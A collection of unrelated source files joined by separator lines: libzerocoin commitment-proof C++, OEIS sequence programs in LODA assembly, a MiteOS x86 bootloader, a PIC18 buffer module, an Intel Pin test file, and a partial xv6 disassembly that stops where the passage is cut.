#include "Commitment.h"
#include "hash.h"
namespace libzerocoin {
//Commitment class
Commitment::Commitment::Commitment(const IntegerGroupParams* p,
const CBigNum& value): params(p), contents(value) {
this->randomness = CBigNum::randBignum(params->groupOrder);
this->commitmentValue = (params->g.pow_mod(this->contents, params->modulus).mul_mod(
params->h.pow_mod(this->randomness, params->modulus), params->modulus));
}
const CBigNum& Commitment::getCommitmentValue() const {
return this->commitmentValue;
}
const CBigNum& Commitment::getRandomness() const {
return this->randomness;
}
const CBigNum& Commitment::getContents() const {
return this->contents;
}
//CommitmentProofOfKnowledge class
CommitmentProofOfKnowledge::CommitmentProofOfKnowledge(const IntegerGroupParams* ap, const IntegerGroupParams* bp): ap(ap), bp(bp) {}
// TODO: get parameters from the commitment group
CommitmentProofOfKnowledge::CommitmentProofOfKnowledge(const IntegerGroupParams* aParams,
const IntegerGroupParams* bParams, const Commitment& a, const Commitment& b):
ap(aParams),bp(bParams)
{
CBigNum r1, r2, r3;
// First: make sure that the two commitments have the
// same contents.
if (a.getContents() != b.getContents()) {
throw std::runtime_error("Both commitments must contain the same value");
}
// Select three random values "r1, r2, r3" in the range 0 to (2^l)-1 where l is:
// length of challenge value + max(modulus 1, modulus 2, order 1, order 2) + margin.
// We set "margin" to be a relatively generous security parameter.
//
// We choose these large values to ensure statistical zero knowledge.
uint32_t randomSize = COMMITMENT_EQUALITY_CHALLENGE_SIZE + COMMITMENT_EQUALITY_SECMARGIN +
std::max(std::max(this->ap->modulus.bitSize(), this->bp->modulus.bitSize()),
std::max(this->ap->groupOrder.bitSize(), this->bp->groupOrder.bitSize()));
CBigNum maxRange = (CBigNum(2).pow(randomSize) - CBigNum(1));
r1 = CBigNum::randBignum(maxRange);
r2 = CBigNum::randBignum(maxRange);
r3 = CBigNum::randBignum(maxRange);
// Generate two random, ephemeral commitments "T1, T2"
// of the form:
// T1 = g1^r1 * h1^r2 mod p1
// T2 = g2^r1 * h2^r3 mod p2
//
// Where (g1, h1, p1) are from "aParams" and (g2, h2, p2) are from "bParams".
CBigNum T1 = this->ap->g.pow_mod(r1, this->ap->modulus).mul_mod((this->ap->h.pow_mod(r2, this->ap->modulus)), this->ap->modulus);
CBigNum T2 = this->bp->g.pow_mod(r1, this->bp->modulus).mul_mod((this->bp->h.pow_mod(r3, this->bp->modulus)), this->bp->modulus);
// Now hash commitment "A" with commitment "B" as well as the
// parameters and the two ephemeral commitments "T1, T2" we just generated
this->challenge = calculateChallenge(a.getCommitmentValue(), b.getCommitmentValue(), T1, T2);
// Let "m" be the contents of the commitments "A, B". We have:
// A = g1^m * h1^x mod p1
// B = g2^m * h2^y mod p2
// T1 = g1^r1 * h1^r2 mod p1
// T2 = g2^r1 * h2^r3 mod p2
//
// Now compute:
// S1 = r1 + (m * challenge) -- note, not modular arithmetic
// S2 = r2 + (x * challenge) -- note, not modular arithmetic
// S3 = r3 + (y * challenge) -- note, not modular arithmetic
this->S1 = r1 + (a.getContents() * this->challenge);
this->S2 = r2 + (a.getRandomness() * this->challenge);
this->S3 = r3 + (b.getRandomness() * this->challenge);
// We're done. The proof is S1, S2, S3 and "challenge", all of which
// are stored in member variables.
}
bool CommitmentProofOfKnowledge::Verify(const CBigNum& A, const CBigNum& B) const
{
// Compute the maximum range of S1, S2, S3 and verify that the given values are
// in a correct range. This might be an unnecessary check.
uint32_t maxSize = 64 * (COMMITMENT_EQUALITY_CHALLENGE_SIZE + COMMITMENT_EQUALITY_SECMARGIN +
std::max(std::max(this->ap->modulus.bitSize(), this->bp->modulus.bitSize()),
std::max(this->ap->groupOrder.bitSize(), this->bp->groupOrder.bitSize())));
if ((uint32_t)this->S1.bitSize() > maxSize ||
(uint32_t)this->S2.bitSize() > maxSize ||
(uint32_t)this->S3.bitSize() > maxSize ||
this->S1 < CBigNum(0) ||
this->S2 < CBigNum(0) ||
this->S3 < CBigNum(0) ||
this->challenge < CBigNum(0) ||
this->challenge > (CBigNum(2).pow(COMMITMENT_EQUALITY_CHALLENGE_SIZE) - CBigNum(1))) {
// Invalid inputs. Reject.
return false;
}
// Compute T1 = g1^S1 * h1^S2 * inverse(A^{challenge}) mod p1
CBigNum T1 = A.pow_mod(this->challenge, ap->modulus).inverse(ap->modulus).mul_mod(
(ap->g.pow_mod(S1, ap->modulus).mul_mod(ap->h.pow_mod(S2, ap->modulus), ap->modulus)),
ap->modulus);
// Compute T2 = g2^S1 * h2^S3 * inverse(B^{challenge}) mod p2
CBigNum T2 = B.pow_mod(this->challenge, bp->modulus).inverse(bp->modulus).mul_mod(
(bp->g.pow_mod(S1, bp->modulus).mul_mod(bp->h.pow_mod(S3, bp->modulus), bp->modulus)),
bp->modulus);
// Hash T1 and T2 along with all of the public parameters
CBigNum computedChallenge = calculateChallenge(A, B, T1, T2);
// Return success if the computed challenge matches the incoming challenge
if(computedChallenge == this->challenge) {
return true;
}
// Otherwise return failure
return false;
}
const CBigNum CommitmentProofOfKnowledge::calculateChallenge(const CBigNum& a, const CBigNum& b, const CBigNum &commitOne, const CBigNum &commitTwo) const {
CHashWriter hasher(0,0);
// Hash together the following elements:
// * A string identifying the proof
// * Commitment A
// * Commitment B
// * Ephemeral commitment T1
// * Ephemeral commitment T2
// * A serialized instance of the commitment A parameters
// * A serialized instance of the commitment B parameters
hasher << std::string(ZEROCOIN_COMMITMENT_EQUALITY_PROOF);
hasher << commitOne;
hasher << std::string("||");
hasher << commitTwo;
hasher << std::string("||");
hasher << a;
hasher << std::string("||");
hasher << b;
hasher << std::string("||");
hasher << *(this->ap);
hasher << std::string("||");
hasher << *(this->bp);
// Convert the SHA256 result into a Bignum
// Note that if we ever change the size of the hash function we will have
// to update COMMITMENT_EQUALITY_CHALLENGE_SIZE appropriately!
return CBigNum(hasher.GetHash());
}
} /* namespace libzerocoin */
|
; A136013: a(n) = floor(n/2) + 2*a(floor(n/2)), a(0) = 0.
; Submitted by Jon Maiga
; 0,0,1,1,4,4,5,5,12,12,13,13,16,16,17,17,32,32,33,33,36,36,37,37,44,44,45,45,48,48,49,49,80,80,81,81,84,84,85,85,92,92,93,93,96,96,97,97,112,112,113,113,116,116,117,117,124,124,125,125,128
mov $2,2
mov $3,1
lpb $0
div $0,$2
mov $4,$0
mul $4,$3
add $1,$4
mul $3,$2
lpe
mov $0,$1
|
; A206857: Number of n X 2 0..2 arrays avoiding the pattern z z+1 z in any row, column, diagonal or antidiagonal.
; 9,81,625,4761,36481,279841,2146225,16459249,126225225,968018769,7423717921,56932346025,436613028289,3348376640449,25678633973281,196928934060769,1510244084935881,11582031898782801,88822372650180625,681177012130215225,5223932980061365441,40062238293730645729,307236509968550975569,2356190694228571516369,18069579647736487823241,138575247515266824138321,1062730821539778775457089,8150061568002522031801161,62502660331231814932368001,479331660980175093479971201,3675984990085387251042450241
add $0,2
seq $0,98182 ; a(n) = 3*a(n-1) - a(n-2) + a(n-3), a(0)=1,a(1)=1,a(2)=3.
pow $0,2
|
;******************************************************************************
; MiteOS Stage 2 Bootloader main source file
; @author: Thirumal Venkat
; @pre: We are loaded at linear address 0x500
;******************************************************************************
bits 16
; Let's assume that our code is aligned to zero, we'll change segments later on
org 0x500
; Start executing from main routine
jmp main
; Import STDIO routines for bootloader
%include "video16.inc"
; Import GDT and its associated installer routine
%include "gdt.inc"
; Import function to enable the A20 line
%include "A20.inc"
;******************************************************************************
; Second Stage boot loader entry point
;******************************************************************************
; Real mode
bits 16
main:
; Disable interrupts for a while
cli
; Make sure segment registers are NULL (except code segment)
xor ax, ax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
; Our stack starts from 0xFFFF and is till 0x07E00
mov ss, ax
mov sp, 0xffff
; Enable interrupts again
sti
; Print the initializing message for us
push word .boot2_msg
call puts16
; Install our GDT
call gdt_install
; Enable A20 line (32-bit addressing, till now 20-bit addressing)
call enable_A20
; Enter protected mode (by setting bit-0 of CR0 to 1)
cli ; Disable interrupts
mov eax, cr0
or eax, 0x01 ; Set the bit-0 to 1
mov cr0, eax
; NOTE: Do NOT enable interrupts now, will triple fault if done so
; Make a far jump with offset 0x08 (code descriptor) in the GDT
jmp 0x08:stage3
;******************************************************************************
; 16-bit Second stage bootloader DATA SECTION
;******************************************************************************
.boot2_msg:
db "Intializing second stage bootloader...", 13, 10, 0
;*******************************************************************************
; Stage 3 Bootloader
;*******************************************************************************
; We're in protected mode, we're dealing with 32 bit instructions & registers
; But as the segment descriptors are setup with no translation so we'll still
; be using identity mapping
;
; By making the far jump to here our %CS and %EIP would have been reloaded
;
; Import 32-bit VGA routines
%include "video32.inc"
stage3:
bits 32
; Now setup our data, extended and stack segments with data descriptor
mov ax, 0x10
mov ds, ax
mov es, ax
mov ss, ax
; Setup stack for 32-bit mode
mov esp, 0x9ffff
; Clear the screen
call clrscr
; Print a welcome message
push dword .miteos_msg
call puts32
; HALT for now. We'll look at what to do here later on
cli ; Disable interrupts
hlt ; Halt the system
; Message to be printed on 13th line in the center of the screen
.miteos_msg:
db 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10
db " "
db "METIOS"
db 0
; Stage 3 Bootloader VGA Driver Test Data
;msg db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "Newline and Overflow Slide Up Test", 0x0A,
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db "+=AbCdEfGhIjKlMnOpQrStUvWxYz0123456789*!"
; db 0
|
;*************************************************************************
; SOFTWARE BUFFERS MODULE
;
; Version 0.10
; 17/07/2005
;
; Li-Wen Yip
; Ad Hoc Radio Networking Research Project
; School Of Engineering
; James Cook University
;
;
; The RAM allocated for each buffer must not overlap two RAM banks. This allows
; faster loading and saving of the pointer values.
;
; Resources Requiring Exclusive Use:
; RAM Bank 4, FSR0
;
; Notes:
;
;
; What you need to understand to work with this code:
;
;
;
;
;*************************************************************************
; INCLUDE FILES
LIST P=18C452, F=INHX32 ;directive to define processor and file format
#include <P18C452.INC> ;processor specific variable definitions
#include "macrolib.inc" ; common macros
#include "swstack.inc" ; software stack
;*************************************************************************
; CONFIGURATION SECTION
;*************************************************************************
; CONSTANTS
getter equ 0
putter equ 1
bdata equ 2
;*************************************************************************
; VARIABLES
; Access RAM
udata_acs
BUF_FLAGS res 1
#define BUF_EOF BUF_FLAGS, 0
#define BUF_FULL BUF_FLAGS, 1
#define RXBUF_SW BUF_FLAGS, 2
#define TXBUF_SW BUF_FLAGS, 3
#define RXBUF_LOCK BUF_FLAGS, 4
#define TXBUF_LOCK BUF_FLAGS, 5
; Put all buffer storage in a high bank, as it will never be addressed directly
; Byte 0 = Read Pointer (Getter)
; Byte 1 = Write Pointer (Putter)
; Bytes 2->63 = Buffer Storage
.BUFFERS udata 0x400
BUF0 res 0x40 ; Buffer 0
BUF1 res 0x40 ; Buffer 1
BUF2 res 0x40 ; Buffer 2
BUF3 res 0x40 ; Buffer 3
;*************************************************************************
; START OF CODE
CODE
;***************************************************************
; MACRO: BUFPUT
;
; Description: Push WREG into the buffer.
; Arguments: buf - The buffer to push to.
; Precond'ns: -
; Postcond'ns: WREG -> BUFn + PUTTERn++.
; Regs Used: FSRO (Stacked).
;***************************************************************
BUFPUT macro buf
; Context Saving
SWPUSH FSR0L, 2 ; Stack FSR0.
SWPUSH BSR, 1 ; Stack BSR.
; Save WREG, Set BSR
SWPUSH WREG, 1 ; WREG -> TOS.
movlb high buf ; Select bank containing buffer.
; Load the address of the buffer & offset, write to the buffer.
lfsr 0, buf + bdata ; Address of buffer data -> FSR0.
movf buf + putter, w ; Putter -> WREG.
SWPOP PLUSW0, 1 ; TOS -> Buffer Addr + Putter.
; Increment the putter and check if the buffer is full.
incf buf + putter ; Putter + 1 -> Putter.
movlw scnsz_low buf - 2 ; Calculate buffer length.
bcf BUF_FULL ; Clear the FULL flag.
cpfslt buf + putter ; Is putter < buffer length?
bsf BUF_FULL ; NO - set the FULL flag.
; Context Restoring
SWPOP BSR, 1 ; Unstack BSR.
SWPOP FSR0L, 2 ; Unstack FSR0.
return
endm
;***************************************************************
; MACRO: BUFGET
;
; Description: Pop to WREG from buffer.
; Arguments: buf - The buffer to pop from.
; Precond'ns: -
; Postcond'ns: BUFn + PUTTERn-- -> WREG.
; Regs Used: FSRO (Stacked).
;***************************************************************
BUFGET macro buf
; Context Saving
SWPUSH FSR0L, 2 ; Stack FSR0.
SWPUSH BSR, 1 ; Stack BSR.
movlb high buf ; Select bank containing buffer.
; Load the address of the buffer & offset, read from the buffer.
lfsr 0, buf + bdata ; Address of buffer data -> FSR0.
movf buf + getter, w ; Getter -> WREG.
SWPUSH PLUSW0, 1 ; Buffer Addr + Getter -> TOS.
; Increment the getter and check for EOF.
incf buf + getter ; Increment the getter.
movf buf + putter, w ; Load up the putter.
bcf BUF_EOF ; Clear the EOF flag.
cpfslt buf + getter ; Is getter < putter?
bsf BUF_EOF ; NO - Set the EOF flag.
; Put result in WREG
SWPOP WREG, 1 ; TOS -> WREG.
; Context Restoring
SWPOP BSR, 1 ; Unstack BSR.
SWPOP FSR0L, 2 ; Unstack FSR0.
return
endm
;***************************************************************
; MACRO: BUFCLR
;
; Description: Clear buffer.
; Arguments: buf - The buffer to clear.
; Precond'ns: -
; Postcond'ns: putter = getter = 0.
; Regs Used:
;***************************************************************
BUFCLR macro buf
clrf buf + getter ; 0 -> Getter.
clrf buf + putter ; 0 -> Putter.
return
endm
;***************************************************************
; MACRO: BUFRST
;
; Description: Reset buffer.
; Arguments: buf - The buffer to clear.
; Precond'ns: -
; Postcond'ns: getter = 0.
; Regs Used:
;***************************************************************
BUFRST macro buf
clrf buf + getter ; 0 -> Getter.
return
endm
; Subroutines for each buffer
PUT0: BUFPUT 0
GET0: BUFGET 0
CLR0: BUFCLR 0
PUT1: BUFPUT 1
GET1: BUFGET 1
CLR1: BUFCLR 1
PUT2: BUFPUT 2
GET2: BUFGET 2
CLR2: BUFCLR 2
PUT3: BUFPUT 3
GET3: BUFGET 3
CLR3: BUFCLR 3
RXBUFA_PUT:
btfss RXBUF_SW
bra PUT0
bra PUT1
RXBUFA_GET:
btfss RXBUF_SW
bra GET0
bra GET1
RXBUFA_CLR:
btfss RXBUF_SW
bra CLR0
bra CLR1
RXBUFA_RST:
btfss RXBUF_SW
bra RST0
bra RST1
RXBUFB_PUT:
btfss RXBUF_SW
bra PUT1
bra PUT0
RXBUFB_GET:
btfss RXBUF_SW
bra GET1
bra GET0
RXBUFB_CLR:
btfss RXBUF_SW
bra CLR1
bra CLR0
RXBUFB_RST:
btfss RXBUF_SW
bra RST1
bra RST0
TXBUFA_PUT:
btfss TXBUF_SW
bra PUT2
bra PUT3
TXBUFA_GET:
btfss TXBUF_SW
bra GET2
bra GET3
TXBUFA_CLR:
btfss TXBUF_SW
bra CLR2
bra CLR3
TXBUFA_RST:
btfss TXBUF_SW
bra RST2
bra RST3
TXBUFB_PUT:
btfss TXBUF_SW
bra PUT3
bra PUT2
TXBUFB_GET:
btfss TXBUF_SW
bra GET3
bra GET2
TXBUFB_CLR:
btfss TXBUF_SW
bra CLR3
bra CLR2
TXBUFB_RST:
btfss TXBUF_SW
bra RST3
bra RST2
end
|
;
; Copyright (C) 2009-2012 Intel Corporation.
; SPDX-License-Identifier: MIT
;
PUBLIC Analysis_func
PUBLIC Analysis_func_immed
PUBLIC Analysis_func_reg_overwrite
.code
Analysis_func PROC
push rbx
push rsi
push rdi
sub rsp, 16
mov QWORD PTR[rsp], rbx
mov QWORD PTR[rsp+8], rcx
mov rbx, QWORD PTR [rsp+80]
mov ebx, DWORD PTR [rsp+80]
mov bx, WORD PTR [rsp+80]
mov bl, BYTE PTR [rsp+80]
cmp rbx, QWORD PTR [rsp+80]
cmp ebx, DWORD PTR [rsp+80]
cmp bx, WORD PTR [rsp+80]
cmp bl, BYTE PTR [rsp+80]
cmp QWORD PTR [rsp+80], rbx
cmp DWORD PTR [rsp+80], ebx
cmp WORD PTR [rsp+80], bx
cmp BYTE PTR [rsp+80], bl
add rbx, QWORD PTR [rsp+80]
add ebx, DWORD PTR [rsp+80]
add bx, WORD PTR [rsp+80]
add bl, BYTE PTR [rsp+80]
adc rbx, QWORD PTR [rsp+80]
adc ebx, DWORD PTR [rsp+80]
adc bx, WORD PTR [rsp+80]
adc bl, BYTE PTR [rsp+80]
sub rbx, QWORD PTR [rsp+80]
sub ebx, DWORD PTR [rsp+80]
sub bx, WORD PTR [rsp+80]
sub bl, BYTE PTR [rsp+80]
sbb rbx, QWORD PTR [rsp+80]
sbb ebx, DWORD PTR [rsp+80]
sbb bx, WORD PTR [rsp+80]
sbb bl, BYTE PTR [rsp+80]
xor rbx, QWORD PTR [rsp+80]
xor ebx, DWORD PTR [rsp+80]
xor bx, WORD PTR [rsp+80]
xor bl, BYTE PTR [rsp+80]
or rbx, QWORD PTR [rsp+80]
or ebx, DWORD PTR [rsp+80]
or bx, WORD PTR [rsp+80]
or bl, BYTE PTR [rsp+80]
movzx rbx, WORD PTR [rsp+80]
movzx rbx, BYTE PTR [rsp+80]
movzx ebx, BYTE PTR [rsp+80]
movzx bx, BYTE PTR [rsp+80]
movsx rbx, WORD PTR [rsp+80]
movsx rbx, BYTE PTR [rsp+80]
movsx ebx, BYTE PTR [rsp+80]
movsx bx, BYTE PTR [rsp+80]
mov rbx, QWORD PTR[rsp]
mov rcx, QWORD PTR[rsp+8]
add rsp, 16
pop rdi
pop rsi
pop rbx
ret
Analysis_func ENDP
Analysis_func_immed PROC
push rbx
mov rbx, QWORD PTR [rsp+48]
mov ebx, DWORD PTR [rsp+48]
mov bx, WORD PTR [rsp+48]
mov bl, BYTE PTR [rsp+48]
cmp rbx, QWORD PTR [rsp+48]
cmp ebx, DWORD PTR [rsp+48]
cmp bx, WORD PTR [rsp+48]
cmp bl, BYTE PTR [rsp+48]
cmp QWORD PTR [rsp+48], rbx
cmp DWORD PTR [rsp+48], ebx
cmp WORD PTR [rsp+48], bx
cmp BYTE PTR [rsp+48], bl
cmp QWORD PTR [rsp+48], 0baadf00dH
cmp DWORD PTR [rsp+48], 0baadf00dH
cmp WORD PTR [rsp+48], 0baadH
cmp BYTE PTR [rsp+48], 0baH
add rbx, QWORD PTR [rsp+48]
add ebx, DWORD PTR [rsp+48]
add bx, WORD PTR [rsp+48]
add bl, BYTE PTR [rsp+48]
adc rbx, QWORD PTR [rsp+48]
adc ebx, DWORD PTR [rsp+48]
adc bx, WORD PTR [rsp+48]
adc bl, BYTE PTR [rsp+48]
sub rbx, QWORD PTR [rsp+48]
sub ebx, DWORD PTR [rsp+48]
sub bx, WORD PTR [rsp+48]
sub bl, BYTE PTR [rsp+48]
sbb rbx, QWORD PTR [rsp+48]
sbb ebx, DWORD PTR [rsp+48]
sbb bx, WORD PTR [rsp+48]
sbb bl, BYTE PTR [rsp+48]
xor rbx, QWORD PTR [rsp+48]
xor ebx, DWORD PTR [rsp+48]
xor bx, WORD PTR [rsp+48]
xor bl, BYTE PTR [rsp+48]
or rbx, QWORD PTR [rsp+48]
or ebx, DWORD PTR [rsp+48]
or bx, WORD PTR [rsp+48]
or bl, BYTE PTR [rsp+48]
movzx rbx, WORD PTR [rsp+48]
movzx rbx, BYTE PTR [rsp+48]
movzx ebx, BYTE PTR [rsp+48]
movzx bx, BYTE PTR [rsp+48]
movsx rbx, WORD PTR [rsp+48]
movsx rbx, BYTE PTR [rsp+48]
movsx bx, BYTE PTR [rsp+48]
movsx ebx, BYTE PTR [rsp+48]
pop rbx
ret
Analysis_func_immed ENDP
Analysis_func_reg_overwrite PROC
push rbx
push rsi
push rdi
sub rsp, 16
mov esi, eax
mov QWORD PTR[rsp], rbx
mov QWORD PTR[rsp+8], rcx
mov rbx, QWORD PTR [rsp+80]
mov ebx, DWORD PTR [rsp+80]
mov bx, WORD PTR [rsp+80]
mov bl, BYTE PTR [rsp+80]
cmp rbx, QWORD PTR [rsp+80]
cmp ebx, DWORD PTR [rsp+80]
cmp bx, WORD PTR [rsp+80]
cmp bl, BYTE PTR [rsp+80]
cmp QWORD PTR [rsp+80], rbx
cmp DWORD PTR [rsp+80], ebx
cmp WORD PTR [rsp+80], bx
cmp BYTE PTR [rsp+80], bl
add rbx, QWORD PTR [rsp+80]
add ebx, DWORD PTR [rsp+80]
add bx, WORD PTR [rsp+80]
add bl, BYTE PTR [rsp+80]
adc rbx, QWORD PTR [rsp+80]
adc ebx, DWORD PTR [rsp+80]
adc bx, WORD PTR [rsp+80]
adc bl, BYTE PTR [rsp+80]
sub rbx, QWORD PTR [rsp+80]
sub ebx, DWORD PTR [rsp+80]
sub bx, WORD PTR [rsp+80]
sub bl, BYTE PTR [rsp+80]
sbb rbx, QWORD PTR [rsp+80]
sbb ebx, DWORD PTR [rsp+80]
sbb bx, WORD PTR [rsp+80]
sbb bl, BYTE PTR [rsp+80]
xor rbx, QWORD PTR [rsp+80]
xor ebx, DWORD PTR [rsp+80]
xor bx, WORD PTR [rsp+80]
xor bl, BYTE PTR [rsp+80]
or rbx, QWORD PTR [rsp+80]
or ebx, DWORD PTR [rsp+80]
or bx, WORD PTR [rsp+80]
or bl, BYTE PTR [rsp+80]
movzx rbx, WORD PTR [rsp+80]
movzx rbx, BYTE PTR [rsp+80]
movzx bx, BYTE PTR [rsp+80]
movzx ebx, BYTE PTR [rsp+80]
movsx rbx, WORD PTR [rsp+80]
movsx rbx, BYTE PTR [rsp+80]
movsx bx, BYTE PTR [rsp+80]
movsx ebx, BYTE PTR [rsp+80]
mov rbx, QWORD PTR[rsp]
mov rcx, QWORD PTR[rsp+8]
add rsp, 16
pop rdi
pop rsi
pop rbx
ret
Analysis_func_reg_overwrite ENDP
end |
; A048587: Pisot sequence L(6,10).
; 6,10,17,29,50,87,152,266,466,817,1433,2514,4411,7740,13582,23834,41825,73397,128802,226031,396656,696082,1221538,2143649,3761841,6601570,11584947,20330164,35676950,62608682,109870577,192809421,338356946,593775047,1042002568,1828587034,3208946546,5631308625,9882257737,17342153394,30433357675,53406819692,93722435102,164471408186,288627200961,506505428837,888855064898,1559831901919,2737314167776,4803651498530,8429820731202,14793304131649,25960439030625,45557394660802,79947654422627,140298353215076,246206446668326,432062194544202,758216295635153,1330576843394429,2334999585697906,4097638623636535,7190854504969592,12619069972000554,22144924062668050,38861632658305137,68197411225942777,119678113856248466,210020449144859291,368560195659412892,646778056030214958,1135016365545876314,1991814870720950561,3495391431926239765,6133984358677405282,10764392156149521359,18890191385547877200,33149974973623638322,58174150717848920802,102088517847622080481,179152859951018878481,314391352772264597282,551718363441132396563,968198234061019074324,1699069457453170349366,2981659044286454020970,5232446865180756766897,9182304143528229862189,16113820466162156978450,28277783653976840861607,49624050985319754606952,87084138782824825330746,152822010234306736916146,268183932671108403108497,470629993890734894631593,825898065344668123070834,1449350069469709754618571,2543432067485486280797900,4463412130845930930048062,7832742263676085333916794
seq $0,20713 ; Pisot sequences E(5,9), P(5,9).
add $0,1
|
; A037660: Base 4 digits are, in order, the first n terms of the periodic sequence with initial period 3,1,0.
; Submitted by Christian Krause
; 3,13,52,211,845,3380,13523,54093,216372,865491,3461965,13847860,55391443,221565773,886263092,3545052371,14180209485,56720837940,226883351763,907533407053,3630133628212,14520534512851,58082138051405
mul $0,2
add $0,2
mov $1,46
lpb $0
sub $0,1
mul $1,2
add $1,6
lpe
div $1,63
mov $0,$1
|
_info: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "user.h"
#include "fs.h"
int main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
int pid;
if (argc < 1)
11: 8b 11 mov (%ecx),%edx
#include "user.h"
#include "fs.h"
int main(int argc, char *argv[])
{
13: 8b 41 04 mov 0x4(%ecx),%eax
int pid;
if (argc < 1)
16: 85 d2 test %edx,%edx
18: 7e 1a jle 34 <main+0x34>
{
printf(2, "Usage: info\n");
exit();
}
pid = atoi(argv[1]);
1a: 83 ec 0c sub $0xc,%esp
1d: ff 70 04 pushl 0x4(%eax)
20: e8 fb 01 00 00 call 220 <atoi>
// else
// {
// printf(1, "Such a process doesn't exist!\n");
// }
// exit();
getpinfo(pid,p);
25: 5a pop %edx
26: 59 pop %ecx
27: 6a 00 push $0x0
29: 50 push %eax
2a: e8 03 03 00 00 call 332 <getpinfo>
exit();
2f: e8 5e 02 00 00 call 292 <exit>
{
int pid;
if (argc < 1)
{
